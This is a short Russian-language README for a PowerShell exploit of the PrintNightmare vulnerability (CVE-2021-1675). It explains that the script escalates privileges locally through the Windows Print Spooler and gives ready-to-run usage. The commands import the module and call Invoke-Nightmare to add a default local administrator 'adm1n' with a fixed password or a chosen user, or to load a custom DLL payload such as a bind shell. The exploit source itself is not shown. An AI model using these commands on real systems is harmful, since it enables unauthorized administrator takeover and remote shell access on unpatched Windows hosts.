
PowerShell-эксплойт для PrintNightmare (CVE-2021-1675), выполняющий локальное повышение привилегий через Print Spooler, с инжекцией пользовательской DLL-нагрузки для добавления локальных администраторов.
Caleb Stewart | John Hammond | 1 июля 2021
CVE-2021-1675 — это критическая уязвимость удаленного выполнения кода и локального повышения привилегий, получившая название «PrintNightmare».
Эксплойты для проверки концепции были опубликованы (Python, C++) для возможности удаленного выполнения кода, а реализация на C# для локального повышения привилегий. Мы не видели нативной реализации на чистом PowerShell и хотели попробовать свои силы в доработке и переработке эксплойта.
Этот скрипт PowerShell выполняет локальное повышение привилегий (LPE) с использованием техники атаки PrintNightmare.

Протестировано на Windows Server 2016 и Windows Server 2019.
Добавление нового пользователя в группу локальных администраторов по умолчанию:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Можно указать собственную DLL-нагрузку для выполнения любых других действий.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"